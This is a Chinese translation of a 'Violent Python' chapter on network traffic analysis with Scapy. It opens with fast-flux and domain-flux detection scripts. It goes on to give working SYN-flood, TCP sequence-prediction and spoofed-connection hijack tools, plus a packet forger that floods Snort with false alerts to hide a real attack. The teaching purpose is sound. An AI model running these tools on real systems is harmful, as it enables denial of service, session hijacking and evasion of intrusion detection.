《Violent Python》第四章Network Traffic Analysis with Py

  • A+
所属分类:WooYun-Zone

连载介绍信息:http://zone.wooyun.org/content/23138

原作者:Chris Katsaropoulos

第一译者:@草帽小子-DJ

第二译者:crown丶prince

Storm的FAST流量和Conficker的Domain流量

2007年,安全研究人员确认一种新技术,曾被臭名昭著的Storm僵尸网络使用。这种技术称为Fast流量,利用DNS记录隐藏命令从而控制Storm僵尸网络。DNS服务是通常是转换域名到IP地址的。当DNS服务返回一个结果时,他还指定了TTL,在主机检查之前任然有效。

Storm僵尸网络的攻击者为了命令和控制服务器而频繁的改变DNS记录。事实上,他们使用的2000多个主机散步在50个国家384个供应商。为了命令和控制主机,攻击者频繁的替换IP地址,确保DNS返回很短的TTL结果。IP地址的Fast流量令安全人员很难确认被命令和控制的僵尸网络,更难让服务器脱机。

Fast很难从Storm僵尸网络卸载下来,类似的技术次年用于辅助感染了两百多个国家的7百多万电脑。Conficker蠕虫是目前为止最成功的计算机蠕虫,通过攻击Windows的SMB协议漏洞来传播。一旦被感染,脆弱的主机连接到一个命名和控制服务器等待进一步指示。确认和阻止和命令控制主机通讯对于停止攻击是完全有必要的。然而,Conficker蠕虫使用当前的UTC时间和日期每三个小时就产生不同的域名。对Conficker迭代意味着每三个小时将产生50000个域。攻击者只需要注册极少的域名到真是的IP就可以命令和控制服务器。这使得拦截和阻止命令和控制服务器的流量很困难。因此技术人员将它命名为Domain流量。

在下面的章节中,我们将编写一些Python脚本来检测识别外界的Fast流量和Domain流量攻击。

你的NDS知道一些你不知道的事吗?

为了确认外界的Fast流量和Domain流量,让我们快速审查一下DNS,通过查看域名请求时产生的流量。为了明白这些,让我们执行域名查询操作。注意,我们的域名服务器在192.168.1.1,翻译域名到74.117.114.119的IP地址。

analyst# nslookup whitehouse.com

Server: 192.168.1.1

Address: 192.168.1.1#53

Non-authoritative answer:

Name: whitehouse.com

Address: 74.117.114.119

用tcpdump检查NDS流量,我们可以看到客户端192.168.13.37发送了一个DNS请求给192.168.1.1,。特别是客户端生成了DNS快速记录(DNSQR)请求Ipv4地址,服务器响应增加DNS资源记录(DNSRR)并提供IP地址。

analyst# tcpdump -i eth0 –nn 'udp port 53'

07:45:46.529978 IP 192.168.13.37.52120 >192.168.1.1.53: 63962+ A?

    whitehouse.com. (32)

07:45:46.533817 IP 192.168.1.1.53>192.168.13.37.52120: 63962 1/0/0 A

74.117.114.119 (48)

使用Scapy解析DNS流量

当我们用Scapy研究DNS协议请求,我们可以看到包含在每一个A记录的DNSQR包含了请求名(qname),请求类型(qtype)和请求类(qclass)。为了上述要求,我们要请求域名的Ipv4地址,让qname字段等于域名。DNS服务响应通过添加DNSRR包含资源名称(rrname),类型(type),资源记录类(rclass)和TTL。知道Fast流量和Domain流量是怎么工作的,我们现在可以使用Scapy编写Python脚本分析可确认可以的DNS流量。

analyst# scapy

Welcome to Scapy (2.0.1)

>>>ls(DNSQR)

qname : DNSStrField       =      (‘’)

qtype : ShortEnumField     =       (1)

qclass : ShortEnumField     =       (1)

>>>ls(DNSRR)

rrname : DNSStrField       =        (‘’)

type : ShortEnumField       =        (1)

rclass : ShortEnumField      =        (1)

ttl : IntField                =        (0)

rdlen : RDLenField      =       (None)

rdata : RDataField       =        (‘’)

欧洲网络与信息安全机构通过了一个分析网络流量极好的资源。他们提供了一个光盘ISO镜像,包含了一些网络捕获和练习。你可以从下面网站下载:http://www.enisa.europa.eu/activities/cert/support/exercise/live-dvd-iso-images。练习7提供了一个练习Fast流量行为的例子的PCAP。此外你可能希望被间谍软件或者恶意软件感染的虚拟机在活动前在受控的实验环境安全检查流量。为了我们的目的,让我们假设你现在有一个捕获的网络流量包fastFlux.pcap包含了一些你想要分析的NDS流量。

用Scapy检测Fast流量

让我们编写Python脚本阅读pcap并分析所有的包含DNSRR的数据包。Scapy功能强大,haslayer()函数将协议类型作为输入,并返回一个布尔值。如果数据包包含一个DNSRR,我们将抽取包含适当域名和IP地址的rname和rdata变量。我们可以检查我们维护的域名字典,通过域名索引。如果是我之前见过的域名,我们将看看它是否与先前的IP地址相关联。如果它有一个不同以前的IP地址,我们将增加到我们维护的字典。相反,如果我们发现了一个新域名,我们添加它到我们的字典。我们添加这个域名的IP地址作为存储我们字典值的数组的第一个元素。

这看起来有些复杂,但是我们想能够存储所有的域名和他们关联的不同的IP地址。为了检测Fast流量,我们需要知道那个域名有多个IP地址。在研究所有的数据包之后,我们打印所有的域名和每个域名的多个IP地址。

from scapy.all import *

dnsRecords = {}

def handlePkt(pkt):

    if pkt.haslayer(DNSRR):

        rrname = pkt.getlayer(DNSRR).rrname

        rdata = pkt.getlayer(DNSRR).rdata

        if dnsRecords.has_key(rrname):

            if rdata not in dnsRecords[rrname]:

                dnsRecords[rrname].append(rdata)

        else:

            dnsRecords[rrname] = []

            dnsRecords[rrname].append(rdata)

def main():

    pkts = rdpcap('fastFlux.pcap')

    for pkt in pkts:

        handlePkt(pkt)

    for item in dnsRecords:

        print('[+] '+item+' has '+str(len(dnsRecords[item])) + ' unique IPs.')

if __name__ == '__main__':

main()

运行我们的代码,我们可以看到至少有四个域名与多个IP相对应。所有的死四个域名在过去实际上被Fast流量所利用。

analyst# python testFastFlux.py

[+] ibank-halifax.com. has 100,379 unique IPs.

[+] armsummer.com. has 14,233 unique IPs.

[+] boardhour.com. has 11,900 unique IPs.

[+] swimhad.com. has 11, 719 unique IPs.

用Scapy检测Domain流量

接下来,我们开始分析被Conficker蠕虫感染的机器。你可以感染你自己的机器或者下载一些捕获的样本。许多第三方网站包含不同的Conficker捕获。由于Conficker蠕虫利用Domain流量,我们需要查看服务器包含未知域名的错误信息的响应。不同版本的Conficker蠕虫生成几种DNS。因为几个域名是伪造的,为了掩盖真实的命令控制服务器。大多数DNS服务器缺乏将域名转换成真实的地址并替代生成的错误的信息的能力。让我们通过确认所有的包含name-error信息的DNS响应来确认Domain流量。为了得到完整的Conficker蠕虫使用过的域名列表,我们可以在http://www.cert.at/downloads/data/conficker_en.html找到。

from scapy.all import *

def dnsQRTest(pkt):

    if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:

        rcode = pkt.getlayer(DNS).rcode

        qname = pkt.getlayer(DNSQR).qname

        if rcode == 3:

            print('[!] Name request lookup failed: ' + qname)

            return True

        else:

            return False

def main():

    unAnsReqs = 0

    pkts = rdpcap('domainFlux.pcap')

    for pkt in pkts:

        if dnsQRTest(pkt):

            unAnsReqs = unAnsReqs + 1

    print('[!] '+str(unAnsReqs)+' Total Unanswered Name Requests')

if __name__ == '__main__':

main()

注意当我们运行脚本时,我们可以看到一些用于Conficker蠕虫Domain流量的实际域名。成功!我们可以确认攻击。在下一节里让我们用我们的分析技能重新审视一下发生在15年前的复杂的攻击。

analyst# python testDomainFlux.py

[!] Name request lookup failed: tkggvtqvj.org.

[!] Name request lookup failed: yqdqyntx.com.

[!] Name request lookup failed: uvcaylkgdpg.biz.

[!] Name request lookup failed: vzcocljtfi.biz.

[!] Name request lookup failed: wojpnhwk.cc.

[!] Name request lookup failed: plrjgcjzf.net.

[!] Name request lookup failed: qegiche.ws.

[!] Name request lookup failed: ylktrupygmp.cc.

[!] Name request lookup failed: ovdbkbanqw.com.

<..SNIPPED..>

[!] 250 Total Unanswered Name Requests

凯文米特尼克和TCP序列预测

1996年2月16日结束了一个臭名昭著的黑客的统治。其疯狂的犯罪行为包含盗取价值数百万美元的商业机密。15年来,凯文米特尼克获得未授权访问计算机,窃取私人信息,试图抓他的人都厌倦了,但是最后一个针对他的小组抓到了他。

Tsutomu Shimomura,一个计算物理理学家,帮助逮捕了米特尼克。在1992的手机安全听证会后,米特尼克便成为了他的目标。1994年12月,有人闯入了他家的电脑系统。相信这次攻击是米特尼克并被他的新的攻击方法所着迷,他本来领导的LED团队在第二年开始追踪米特尼克。

他好奇攻击向量是什么,以前从没见到过,米特尼克用了一个方法劫持了TCP会话。这种技术被称为TCP序列预测,攻击缺乏随机性的序列号跟踪单个网络连接。这个技术接合IP地址欺骗,允许米特尼克劫持他家电脑的一个连接。在下面的章节中,我们将重现并编写米特尼克曾经使用过的TCP序列预测的工具和攻击。

你自己的TCP序列预测

米特尼克攻击过的机器有一个可靠的远程连接服务协议。这个远程服务能访问米特尼克的受害者,通过运行在TCP 513端口上的远程登陆协议(rlogin)。而不是使用公钥协商或者是密码方式,rlogin使用了一个不安全的认证方法—检查源IP地址。因此,为了攻击Shimomura的电脑米特尼克必须1.找到一个可信的服务器;2.沉默的可信服务器;3.欺骗来自服务器的连接;4.盲目的欺骗正确的TCP三次握手包的ACK包。听起来比实际上更难,1994年1月25日,Shimomura发布了这次攻击的详细描述在新闻博客上。通过看他发布的技术细节分析这次攻击,我们将编写一个Python脚本来执行类似的攻击。

在米特尼克确认了Shimomura的私人电脑上有一个可靠的远程服务,他需要那个机器沉默。如果机器注意到尝试使用他的IP地址欺骗连接,机器将会发送重置数据包关闭连接。为了让机器沉默,米特尼克发送了一类咧的TCP SYN包到服务器的登陆端口。被称为SYN洪水攻击,这个攻击充满了服务器的连接序列并保持它的响应。从Shimomura发布的细节来看,我们看到一系列的TCP SYN包发送到目标主机的登陆端口。

14:18:22.516699 130.92.6.97.600 > server.login: S

1382726960:1382726960(0) win 4096

14:18:22.566069 130.92.6.97.601 > server.login: S

1382726961:1382726961(0) win 4096

14:18:22.744477 130.92.6.97.602 > server.login: S

1382726962:1382726962(0) win 4096

14:18:22.830111 130.92.6.97.603 > server.login: S

1382726963:1382726963(0) win 4096

14:18:22.886128 130.92.6.97.604 > server.login: S

1382726964:1382726964(0) win 4096

14:18:22.943514 130.92.6.97.605 > server.login: S

1382726965:1382726965(0) win 4096

<..SNIPPED..?

用Scapy制作SYN洪水

用Scapy简单的复制一个TCP SYN洪水攻击,我们将制作一些IP数据包,有递增的TCP源端口和不断的TCP 513目标端口。

from scapy.all import *

def synFlood(src, tgt):

    for sport in range(1024, 65535):

        IPlayer = IP(src=src, dst=tgt)

        TCPlayer = TCP(sport=sport, dport=513)

        pkt = IPlayer / TCPlayer

        send(pkt)

src = "10.1.1.2"

tgt = "192.168.1.3"

synFlood(src, tgt)

运行攻击发送TCP SYN数据包耗尽目标主机资源,填满它的连接队列,基本瘫痪目标发送TCP 重置包的能力。

mitnick# python synFlood.py

.

Sent 1 packets.

.

Sent 1 packets.

.

Sent 1 packets.

.

Sent 1 packets.

.

<..SNIPPED..>

计算TCP序列号

现在攻击变得有一些有趣了。随着远程服务器的沉默,米特尼克可以欺骗目标的TCP连接。然而,这取决于他发送伪造的SYN的能力,Shimomura机器TCP连接后的一个TCP ACK数据包。为了完成连接,米特尼克需要需要正确的猜到TCP ACK的序列号,因为他无法观察到他,并返回一个正确的猜测的TCP ACK序列号。为了正确计算TCP序列号,米特尼克从名为apollo.it.luc.edu的大学机器发送了一系列的SYN数据包,收到SYN之后,Shimomura的机器的终端响应了一个带序列号的TCP ACK数据包注意下面隐藏技术细节的序列号:2022080000, 2022208000, 2022336000, 2022464000。每个增量相差128000,这让计算正确的TCP序列号更加容易。( 注意,大多数现代的操作系统今天提供更强大的随机TCP序列号。)

14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S

1382726992:1382726992(0) win 4096

14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S

2022080000:2022080000(0) ack 1382726993 win 4096

14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R

1382726993:1382726993(0) win 0

14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S

1382726993:1382726993(0) win 4096

14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S

2022208000:2022208000(0) ack 1382726994 win 4096

14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R

1382726994:1382726994(0) win 0

14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S

1382726994:1382726994(0) win 4096

14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S

2022336000:2022336000(0) ack 1382726995 win 4096

14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R

1382726995:1382726995(0) win 0

14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S

1382726995:1382726995(0) win 4096

14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S

2022464000:2022464000(0) ack 1382726996 win 4096

14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R

1382726996:1382726996(0) win 0

<..SNIPPED..>

为了在Python中重现,我们将发送TCP SYN数据包并等待TCP SYN-ACK数据包。一旦收到,我们将从ACK中剥离TCP序列号并打印到屏幕上。我们进重复4次确认一个规律的存在。注意,使用Scapy,我们不需要完整的TCP和IP字段:Scapy将用值填充他们。此外,它将从我们默认的源地址发送。我们的新函数callSYN()将会接受一个IP地址返回写一个ACK序列号(当前的序列号加上变化)。

from scapy.all import *

def calTSN(tgt):

    seqNum = 0

    preNum = 0

    diffSeq = 0

    for x in range(1, 5):

        if preNum != 0:

            preNum = seqNum

        pkt = IP(dst=tgt) / TCP()

        ans = sr1(pkt, verbose=0)

        seqNum = ans.getlayer(TCP).seq

        diffSeq = seqNum - preNum

        print '[+] TCP Seq Difference: ' + str(diffSeq)

    return seqNum + diffSeq

tgt = "192.168.1.106"

seqNum = calTSN(tgt)

print "[+] Next TCP Sequence Number to ACK is: "+str(seqNum+1)

运行我们的代码攻击一个脆弱的目标,我们可以看到TCP系列号的随机性是不存在的,目标和Shimomura的机器有相同的序列号差值。注意,默认情况下,Scapy会使用默认的目标TCP端口80。目标必须有一个服务正在监听,不管你尝试欺骗连接那个端口。

mitnick# python calculateTSN.py

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] Next TCP Sequence Number to ACK is: 2024371201

欺骗TCP连接

有了正确的TCP序列号在手,米特尼克可以攻击了。米特尼克使用的序列号是2024371200,大约初始化SYN后的150个SYN数据包发送过去用来侦查。首先,它从新的沉默服务器欺骗了一个连接。然后他发送了一个序列号是2024371201盲目的ACK数据包,表明已经建立了正确的连接。

14:18:36.245045 server.login > x-terminal.shell: S

1382727010:1382727010(0) win 4096

14:18:36.755522 server.login > x-terminal.shell: .ack2024384001 win

4096

在Python中重现这些,我们将生成和发送两个数据包。首先我们创建一个TCP源端口是513和目的端口是514的源IP地址是欺骗的服务器目的IP地址是目标IP地址的SYN数据包,接下来,我们创建一个相同的ACK数据包,增加计算的序列号作为额外的字段,并发送它。

from scapy.all import *

def spoofConn(src, tgt, ack):

    IPlayer = IP(src=src, dst=tgt)

    TCPlayer = TCP(sport=513, dport=514)

    synPkt = IPlayer / TCPlayer

    send(synPkt)

    IPlayer = IP(src=src, dst=tgt)

    TCPlayer = TCP(sport=513, dport=514, ack=ack)

    ackPkt = IPlayer / TCPlayer

    send(ackPkt)

src = "10.1.1.2"

tgt = "192.168.1.106"

seqNum = 2024371201

spoofConn(src,tgt,seqNum)

将全部代码整合在一起,我们将增加一些命令行选项解析来指定要欺骗连接的地址,目标服务器,和欺骗地址的初始化SYN洪水攻击。

# coding=UTF-8

import optparse

from scapy.all import *

#SYN洪水攻击

def synFlood(src, tgt):

    for sport in range(1024, 65535):

        IPlayer = IP(src=src, dst=tgt)

        TCPlayer = TCP(sport=sport, dport=513)

        pkt = IPlayer / TCPlayer

        send(pkt)

#预测TCP序列号

def calTSN(tgt):

    seqNum = 0

    preNum = 0

    diffSeq = 0

    for x in range(1, 5):

        if preNum != 0:

            preNum = seqNum

        pkt = IP(dst=tgt) / TCP()

        ans = sr1(pkt, verbose=0)

        seqNum = ans.getlayer(TCP).seq

        diffSeq = seqNum - preNum

        print '[+] TCP Seq Difference: ' + str(diffSeq)

    return seqNum + diffSeq

#发送ACk欺骗包

def spoofConn(src, tgt, ack):

    IPlayer = IP(src=src, dst=tgt)

    TCPlayer = TCP(sport=513, dport=514)

    synPkt = IPlayer / TCPlayer

    send(synPkt)

    IPlayer = IP(src=src, dst=tgt)

    TCPlayer = TCP(sport=513, dport=514, ack=ack)

    ackPkt = IPlayer / TCPlayer

    send(ackPkt)

def main():

    parser = optparse.OptionParser('usage%prog -s<src for SYN Flood> -S <src for spoofed connection> -t<target address>')

    parser.add_option('-s', dest='synSpoof', type='string', help='specifc src for SYN Flood')

    parser.add_option('-S', dest='srcSpoof', type='string', help='specify src for spoofed connection')

    parser.add_option('-t', dest='tgt', type='string', help='specify target address')

    (options, args) = parser.parse_args()

    if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:

        print(parser.usage)

        exit(0)

    else:

        synSpoof = options.synSpoof

        srcSpoof = options.srcSpoof

        tgt = options.tgt

    print('[+] Starting SYN Flood to suppress remote server.')

    synFlood(synSpoof, srcSpoof)

    print('[+] Calculating correct TCP Sequence Number.')

    seqNum = calTSN(tgt) + 1

    print('[+] Spoofing Connection.')

    spoofConn(srcSpoof, tgt, seqNum)

    print('[+] Done.')

if __name__ == '__main__':

    main()

运行我们最终的脚本,我们成功复制了米特尼克20年前的攻击。一度被认为是史上最复杂的攻击现在被我们用几十行Python代码重现。现在手上有了较强的分析技能,让我们用到下一节描述的方法,一个针对入侵检测系统的复杂网络攻击的分析。

mitnick# python tcpHijack.py -s 10.1.1.2 -S 192.168.1.2 -t

192.168.1.106

[+] Starting SYN Flood to suppress remote server.

.

Sent 1 packets.

.

Sent 1 packets.

.

Sent 1 packets.

<..SNIPPED..>

[+] Calculating correct TCP Sequence Number.

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] TCP Seq Difference: 128000

[+] Spoofing Connection.

.

Sent 1 packets.

.

Sent 1 packets.

[+] Done.

用Scapy挫败入侵检测系统

入侵检测系统(IDS)是主管分析师手中一个非常有价值的工具。一个基于网络的入侵检测系统(NIDS)可以通过记录IP网络数据包实时分析流量。通过匹配已知恶意标记的数据包,IDS可以在攻击成功之前提醒网络分析师。比如说,Snort入侵检测系统通过预先包装各种不同的规则来检测不同类型的侦查,攻击,拒绝服务等其他不同的攻击向量。审查其中一个配置的内容,我们看到四个报警检测TFN,tfn2k和Trin00分布式拒绝服务的攻击工具。当攻击者使用TFN, tfn2k 或者Trin00工具攻击目标,IDS检测到攻击然后警告分析师。然而,当分析师接受比他们能分辨事件还要多的警告时他该怎么办?他们往往不知所措,可能会错过重要的攻击细节。

victim# cat /etc/snort/rules/ddos.rules

<..SNIPPED..>

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN Probe";

icmp_id:678; itype:8; content:"1234"; reference:arachnids,443;

classtype:attempted-recon; sid:221; rev:4;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp

possible communication"; icmp_id:0; itype:0; content:"AAAAAAAAAA";

reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;)

alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00

Daemon to Master PONG message detected"; content:"PONG";

reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS

TFN client command BE"; icmp_id:456; icmp_seq:0; itype:0;

reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;)

<...SNIPPED...>

为了对分析师隐藏一个合法的攻击,我们将编写一个工具生成大量的警告让分析师去处理。此外,分析师能够使用这个工具来验证一个IDS能正确的识别恶意流量。编写这个脚本并不难,我们已经有了生成警告的规则。为此,我们将再次使用Scapy制作数据包。考虑到DDos TFN的第一条规则,我们必须生成一个ICMP数据包,ICMP ID是678,ICMP 类型是8包含原始内容‘1234’的数据包。使用Scapy,我们用这些变量制作数据包并发送他们到我们的目的地址。此外,我们建立其他三个规则的数据包。

from scapy.all import *

def ddosTest(src, dst, iface, count):

    pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234')

    send(pkt, iface=iface, count=count)

    pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA')

    send(pkt, iface=iface, count=count)

    pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')

    send(pkt, iface=iface, count=count)

    pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)

    send(pkt, iface=iface, count=count)

src="1.3.3.7"

dst="192.168.1.106"

iface="eth0"

count=1

ddosTest(src,dst,iface,count)

运行该脚本,我们看到,四个数据包发送到了目的地址。IDS将会分析这些数据包并生成警告,如果他们匹配正确的话。

attacker# python idsFoil.py

Sent 1 packets.

.Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

检查Snort的警告日志,我们发现我们成功了!所有四个数据包生成的警告全部IDS系统中。

victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf

03/14-07:32:52.034213 [**] [1:221:4] DDOS TFN Probe [**]

[Classification: Attempted Information Leak] [Priority: 2] {ICMP}

1.3.3.7 -> 192.168.1.106

03/14-07:32:52.037921 [**] [1:222:2] DDOS tfn2k icmp possible

communication [**] [Classification: Attempted Denial of Service]

[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106

03/14-07:32:52.042364 [**] [1:223:3] DDOS Trin00 Daemon to Master PONG

message detected [**] [Classification: Attempted Information Leak]

[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335

03/14-07:32:52.044445 [**] [1:228:3] DDOS TFN client command BE [**]

[Classification: Attempted

让我们看看稍微复杂的规则,Snort下的exploit.rules签名文件。在这里,一系列的特殊字节将会为ntalkd x86 Linux溢出和Linux mountd溢出生成警告。

alert udp $EXTERNAL_NET any -> $HOME_NET 518 (msg:"EXPLOIT ntalkd x86

Linux overflow"; content:"|01 03 00 00 00 00 00 01 00 02 02 E8|";

reference:bugtraq,210; classtype:attempted-admin; sid:313;

rev:4;)

alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux

mountd overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F";

reference:bugtraq,121; reference:cve,1999-0002; classtype

:attempted-admin; sid:315; rev:6;)

为了生成包含原始字节的数据包,我们将利用\x后面跟随16进制字符来编码字节。在第一个警报,会生成一个数据包将会被 ntalkd Linux溢出签名所检测到。第二个数据包,我们将接合16进制编码和标准的ASCII字符。注意98|F|编码为\x89标示包含了原始的字节加了一个ASCII字符。下面的数据包将在试图攻击时生成报警。

def exploitTest(src, dst, iface, count):

    pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")

    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=635) /Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")

send(pkt, iface=iface, count=count)

最后,它会很好的欺骗一些侦查和扫描。当我们检查Snort的扫描规则时发现两个我们可以制作数据包的规则。两个规则通过特定的端口和特定原始内容的UDP协议检测恶意行为。很容易制作这种数据包。

alert udp $EXTERNAL_NET any -> $HOME_NET 7 (msg:"SCAN cybercop udp

bomb"; content:"cybercop"; reference:arachnids,363; classtype:bad-

unknown; sid:636; rev:1;)

alert udp $EXTERNAL_NET any -> $HOME_NET 10080:10081 (msg:"SCAN Amanda

client version request"; content:"Amanda"; nocase; classtype:attempted-

recon; sid:634; rev:2;)

我们生成两个对应规则的扫描工具的数据包。当生成两个合适的UDP数据包之后我们发送到目标主机。

def scanTest(src, dst, iface, count):

    pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load='cybercop')

    send(pkt)

    pkt = IP(src=src, dst=dst) / UDP(dport=10080) /Raw(load='Amanda')

send(pkt, iface=iface, count=count)

现在,我们有数据包可以生成拒绝服务攻击,渗透攻击和扫描侦查的警告。我们把代码组合在一起,添加一些选项解析。注意,用户必须输入目标地址否则程序会退出。如果用户没有输入源地址,我们会生成一个随机的源地址。如果用户不能指定发送制作的数据包多少次,我们将只发送一次。该脚本使用缺省的网卡eth0,除非用户指定。虽然我们的目的文本很短,你可以继续添加脚本生成测试其他攻击类型的警告。

# coding=UTF-8

import optparse

from scapy.all import *

from random import randint

def ddosTest(src, dst, iface, count):

    pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234')

    send(pkt, iface=iface, count=count)

    pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA')

    send(pkt, iface=iface, count=count)

    pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')

    send(pkt, iface=iface, count=count)

    pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)

    send(pkt, iface=iface, count=count)

def exploitTest(src, dst, iface, count):

    pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")

    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=635) /Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")

    send(pkt, iface=iface, count=count)

def scanTest(src, dst, iface, count):

    pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load='cybercop')

    send(pkt)

    pkt = IP(src=src, dst=dst) / UDP(dport=10080) /Raw(load='Amanda')

    send(pkt, iface=iface, count=count)

def main():

    parser = optparse.OptionParser('usage%prog -i<iface> -s <src> -t <target> -c <count>')

    parser.add_option('-i', dest='iface', type='string', help='specify network interface')

    parser.add_option('-s', dest='src', type='string', help='specify source address')

    parser.add_option('-t', dest='tgt', type='string', help='specify target address')

    parser.add_option('-c', dest='count', type='int', help='specify packet count')

    (options, args) = parser.parse_args()

    if options.iface == None:

        iface = 'eth0'

    else:

        iface = options.iface

    if options.src == None:

        src = '.'.join([str(randint(1,254)) for x in range(4)])

    else:

        src = options.src

    if options.tgt == None:

        print(parser.usage)

        exit(0)

    else:

        dst = options.tgt

    if options.count == None:

        count = 1

    else:

        count = options.count

    ddosTest(src, dst, iface, count)

    exploitTest(src, dst, iface, count)

    scanTest(src, dst, iface, count)

    

if __name__ == '__main__':

    main()

执行我们最终的脚本,我们可以看到它正确的发送了八个数据包到目标地址,欺骗源地址为1.3.3.7。为了测试目的,确保目标主机和攻击者的机器不同。

attacker# python idsFoil.py -i eth0 -s 1.3.3.7 -t 192.168.1.106 -c 1

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

分析IDS的日志,我们看到它很快就填满了八个警告消息。棒极了!我们的工具包工作了,本章结束!

victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf

03/14-11:45:01.060632 [**] [1:222:2] DDOS tfn2k icmp possible

    communication [**] [Classification: Attempted Denial of Service]

    [Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106

03/14-11:45:01.066621 [**] [1:223:3] DDOS Trin00 Daemon to Master PONG

    message detected [**] [Classification: Attempted Information Leak]

    [Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335

03/14-11:45:01.069044 [**] [1:228:3] DDOS TFN client command BE [**]

    [Classification: Attempted Denial of Service] [Priority: 2] {ICMP}

    1.3.3.7 -> 192.168.1.106

03/14-11:45:01.071205 [**] [1:313:4] EXPLOIT ntalkd x86 Linux overflow

    [**] [Classification: Attempted Administrator Privilege Gain]

    [Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:518

03/14-11:45:01.076879 [**] [1:315:6] EXPLOIT x86 Linux mountd overflow

    [**] [Classification: Attempted Administrator Privilege Gain]

    [Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:635

03/14-11:45:01.079864 [**] [1:636:1] SCAN cybercop udp bomb [**]

    [Classification: Potentially Bad Traffic] [Priority: 2] {UDP}

    1.3.3.7:53 -> 192.168.1.106:7

03/14-11:45:01.082434 [**] [1:634:2] SCAN Amanda client version request

    [**] [Classification: Attempted Information Leak] [Priority: 2]

{UDP} 1.3.3.7:53 -> 192.168.1.106:10080

本章总结

恭喜你!我们在这一章编写了相当多的工具用来分析网络流量。我们从编写简单的检测极光攻击工具开始。接下来,我们编写了一些脚本来检测Anonymous黑客组织的LOIC工具的攻击。接下来,我们重现了7岁的Moore用来检测五角大楼的诱饵扫描程序。接下来,我们创建了一些脚本用来检测利用DNS作为攻击向量的攻击。包括Storm和Conficker蠕虫。有了分析流量的能力,我们重现了20年前米特尼克用于攻击的程序。最后,我们利用我们的网络分析技能伪造数据包挫败了入侵检测系统。

希望本章为您提供了极好的网络流量分析技能。在下一章我们编写无线网络审计和移动设备的工具时这些技能是有用的。

译者的话:

《Violent Python》第四章就到此结束了,感谢乌云和乌云的小伙伴们的支持!欢迎大家提供建议。

同时,下周同一时间,请关注我们的《Violent Python》第五章!

  1. 1#

    crown丶prince (我用双手成就你的梦想) | 2015-10-18 09:58

    译者的话:
    《Violent Python》第四章就到此结束了,感谢乌云和乌云的小伙伴们的支持!欢迎大家提供建议。
    同时,下周同一时间,请关注我们的《Violent Python》第五章!

  2. 2#

    cf_hb (10000定律<=>实践ing) | 2015-10-18 10:28

    赞!

  3. 3#

    超蓝 (换个马甲好好做人,请叫我暧昧) | 2015-10-18 10:43

    不得不说。 你是乌云的一道亮丽的风景线

  4. 4#

    慢慢 (低调求发展) | 2015-10-18 10:59

    赞~